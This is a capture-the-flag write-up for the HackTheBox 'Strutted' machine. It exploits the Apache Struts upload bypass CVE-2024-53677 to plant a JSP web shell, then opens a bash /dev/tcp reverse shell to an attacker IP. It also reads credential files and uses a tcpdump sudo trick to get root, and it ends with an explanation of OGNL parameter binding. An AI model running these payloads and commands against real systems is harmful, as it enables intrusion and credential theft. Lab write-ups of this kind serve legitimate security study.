htb strutted

Enumeration

Two ports are open.

Now, we will use nikto to enumerate the website.

No CGI is used.

10.10.11.59: strutted.htb

Add 10.10.11.59:strutted.htb to /etc/hosts.

Viewing the Website (Manual Enumeration)

Upon opening the page, we find…

After downloading the file, we obtain strutted.zip. Unzip it, and we learn that the application running on the target is Tomcat.

Inside the strutted folder, we see that the application’s dependency is a pom.xml file.

Opening the pom.xml file, we notice that the MVC framework used is Apache Struts 6.3.0.1.

We search for the CVE ID in the database and find it as CVE-2024-53677.

Using GitHub

We clone the repository:

git clone [https://github.com/0xPThree/struts_cve-2024-53677.git](https://github.com/0xPThree/struts_cve-2024-53677.git)
![[image 62.png]]

We need the following module:

sudo apt install python3-requests-toolbelt

We try again and successfully exploit the vulnerability using Burp.

However, no vulnerabilities are found. It turns out that the existing vulnerability allows for remote code execution (RCE).

Attempting Manual Upload

Upon closer inspection of the downloaded file, we find that the target can execute .jsp files. The file also contains methods to check if a file is an image (e.g., by checking the magic header). We can write the necessary code after that.

Following this guide ([https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/]) and using this payload, we should create a similar form:

POST /uploads.action HTTP/1.1
Host: 127.0.0.1:8080
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryq0PW93h6lyBzjZNZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 138
- -----WebKitFormBoundaryq0PW93h6lyBzjZNZ
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain
y4tacker
- -----WebKitFormBoundaryq0PW93h6lyBzjZNZ
Content-Disposition: form-data; name="Upload"; filename="2.txt"
Content-Type: text/plain
1
- -----WebKitFormBoundaryq0PW93h6lyBzjZNZ--

When we try this, it doesn’t seem to work. However, we realize that we need to change the upload field from lowercase to uppercase.

Test Payload

http://strutted.htb/shell.jsp?action=cmd&cmd=id

Reverse Links

Attacker:

echo -ne ’#!/bin/bash\nbash -c “bash -i >& /dev/tcp/10.10.14.100/4444 0>&1”’ > bash.sh

python3 -m http.server 80

nc -lvvp 4444

Target:

http://strutted.htb/shell.jsp?action=cmd&cmd=wget+10.10.14.100/bash.sh+-O+/tmp/bash.sh

http://strutted.htb/shell.jsp?action=cmd&cmd=chmod+777+/tmp/bash.sh

http://strutted.htb/shell.jsp?action=cmd&cmd=/tmp/bash.sh

File Search

cat conf/tomcat-users.xml → Password: “IT14d6SSP81k”

cat /etc/passwd | grep ‘/bin/bash’ → User: james exists

SSH Connection

ssh james@10.129.231.200

Privilege Escalation

sudo -l → /usr/sbin/tcpdump

Search for GTFOBin:

COMMAND=‘cp /bin/bash /tmp/bash_root && chmod +s /tmp/bash_root’

TF=$(mktemp)

echo “$COMMAND" >$TF

chmod +x $TF

sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

Execute /tmp/bash_root -p

Explanation

Why Change “upload” to “Upload”

File uploads in Struts2 are handled by an interceptor called **FileUploadInterceptor. This interceptor applies binding logic to each field in the multipart/form-data data before the request reaches the Action.

For example, if there’s a form with an input field named upload:

Struts will look for the corresponding setter method in your Action class (in this case, org.strutted.htb.Upload):

The JavaBean/OGNL reflection mechanism uses the first letter of the method name (e.g., setUploadFileName) when matching setters. As a result, only UploadFileName is correctly routed to the setter method.

Why Use topUploadFileName?

The use of topUploadFileName is related to Struts’ OGNL (Object-Graph Navigation Language) mechanism.

I. The Truth About Struts Parameter Binding

When Struts2 receives an HTTP request, it places all form fields and multipart data into a ValueStack. This stack is essentially an object hierarchy, with the top level usually representing the currently executing Action.

OGNL (Object-Graph Navigation Language) is responsible for interpreting expressions and mapping request parameter names (such as "UploadFileName", "user.name", `“top UploadFileName"") to object properties. For example:

• The parameter "uploadFileName" is mapped to the setUploadFileName() method;
• The parameter "user.name" is mapped to getUser().setName();
• The parameter "topUploadFileName" is applied directly to the object at the top of the stack (the current Action), not to any other objects within the stack.

II. Why Write It as top UploadFileName

In many real-world scenarios (especially during vulnerability exploitation or with complex configurations), the Action is not the only object in the ValueStack. The stack may also contain:

• Objects injected by interceptors (such as models or DTOs);
• Internal Maps (such as parameters, session, application);
• References to the request or response objects.

When you simply write "UploadFileName, OGNL will search from the top of the stack for the first object that contains this property. If there is a property with the same name in a higher-level object (for example, `“parameters.uploadFileName""), OGNL might bind the parameter to the wrong object.

Therefore, using top UploadFileName is a way to “specify the target” – it tells OGNL to directly modify the UploadFileName property of the object at the top of the stack (the Action itself).

This is crucial in exploitation scenarios and penetration testing for the following reasons:

1. The target setter method might only exist in the Action, not in the internal models.
2. Attackers need to ensure that OGNL expressions are not intercepted by other layers of the application.
3. Some remote code execution (RCE) exploits (such as Struts2 S2-045/S2-046) rely on top to access sensitive objects like actionContext, application, or memberAccess.

• top is a keyword in OGNL, indicating the top object of the ValueStack (usually the current Action).
• Using top UploadFileName ensures that the property being modified belongs to the Action itself, avoiding interference from intermediate objects.
• In vulnerability exploitation and debugging, explicitly specifying top. allows for more precise targeting of the setter methods.